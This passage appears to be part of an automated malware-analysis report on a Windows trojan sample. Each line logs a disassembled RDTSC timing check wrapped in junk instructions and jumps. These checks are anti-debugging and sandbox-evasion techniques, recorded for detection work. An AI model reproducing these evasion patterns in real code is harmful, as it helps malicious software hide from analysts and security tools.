Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D80C2E second address: D80C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D80C34 second address: D80C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D80C40 second address: D80C51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D80F3F second address: D80F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F362081F596h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D81993 second address: D81997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D81997 second address: D8199D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8199D second address: D819BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3620DC90F8h 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007F3620DC90FCh 0x00000014 jp 00007F3620DC90F6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D819BF second address: D819C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D853D3 second address: D85405 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3620DC90F6h 0x00000008 jmp 00007F3620DC90FBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 jno 00007F3620DC9108h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D85405 second address: D8542B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F362081F5A5h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F362081F596h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8542B second address: D8542F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D88F72 second address: D88F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D88F78 second address: D88F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F3620DC9108h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8966A second address: D89670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D89670 second address: D89674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D89674 second address: D8967A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8967A second address: D89680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D89680 second address: D89686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D897C5 second address: D897CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D897CB second address: D897E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D897E5 second address: D897EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8F5C9 second address: D8F5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F362081F59Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8F5D6 second address: D8F5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8FB26 second address: D8FB34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F362081F598h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8FB34 second address: D8FB3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8FB3C second address: D8FB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8FB40 second address: D8FB71 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3620DC90F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F3620DC9103h 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jnp 00007F3620DC912Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b je 00007F3620DC90F6h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D8FB71 second address: D8FB8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A0h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F362081F596h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D90420 second address: D90424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9071F second address: D9073B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F362081F5A7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9073B second address: D90759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3620DC9109h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D90759 second address: D9078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jnp 00007F362081F5C2h 0x0000000d ja 00007F362081F59Eh 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007F362081F5A4h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D90AA8 second address: D90AB2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3620DC90FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D90AB2 second address: D90ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D90ABC second address: D90AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D90D79 second address: D90D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007F362081F596h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D91363 second address: D91376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC90FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D937BC second address: D937EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 jnc 00007F362081F59Eh 0x0000000d popad 0x0000000e push ebx 0x0000000f jmp 00007F362081F5A3h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D937EC second address: D937F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9C3F2 second address: D9C3FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F362081F596h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9C3FD second address: D9C40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3620DC90F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9B6B8 second address: D9B6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9B6BD second address: D9B6DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9108h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9B826 second address: D9B82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9B82C second address: D9B858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3620DC9106h 0x00000009 popad 0x0000000a jns 00007F3620DC90FCh 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9B98E second address: D9B9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b jl 00007F362081F59Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9BAC6 second address: D9BACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9BC5C second address: D9BC62 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9BDCD second address: D9BDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9BDD3 second address: D9BDD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9C109 second address: D9C113 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9F4C2 second address: D9F4DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F362081F596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F362081F596h 0x00000017 jnc 00007F362081F596h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9F4DF second address: D9F4E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9F4E3 second address: D9F4E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9F4E9 second address: D9F4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b jnl 00007F3620DC90F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9F4FC second address: D9F501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D9F501 second address: D9F51C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F3620DC9105h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA5AF4 second address: DA5B22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F362081F5A0h 0x00000008 jmp 00007F362081F59Ch 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F362081F59Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA5B22 second address: DA5B27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA5E09 second address: DA5E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F362081F5A3h 0x00000009 pop edx 0x0000000a jnl 00007F362081F5B9h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA5E50 second address: DA5E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3620DC9102h 0x00000009 jmp 00007F3620DC9105h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA63EB second address: DA63F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA63F1 second address: DA63F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA63F6 second address: DA643C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F362081F596h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f je 00007F362081F596h 0x00000015 jmp 00007F362081F5A7h 0x0000001a pop eax 0x0000001b jnc 00007F362081F5A9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA643C second address: DA6446 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3620DC90FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA6446 second address: DA645A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F362081F59Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA65AD second address: DA65D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3620DC9107h 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F3620DC90F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA65D3 second address: DA65E2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F362081F596h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA65E2 second address: DA65F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F3620DC90F6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DA74E9 second address: DA74F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DC0D17 second address: DC0D59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F3620DC90F6h 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F3620DC9102h 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a jmp 00007F3620DC9109h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DC0D59 second address: DC0D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DC07CF second address: DC07D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DC0922 second address: DC092B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DC2477 second address: DC247D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DC6ED6 second address: DC6EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jmp 00007F362081F5A1h 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnl 00007F362081F596h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DC6EF7 second address: DC6F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3620DC9102h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DC6F13 second address: DC6F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DCFEBF second address: DCFEC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DCFD62 second address: DCFD68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DCFD68 second address: DCFD6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DCFD6C second address: DCFD86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F362081F5A1h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD3D05 second address: DD3D09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
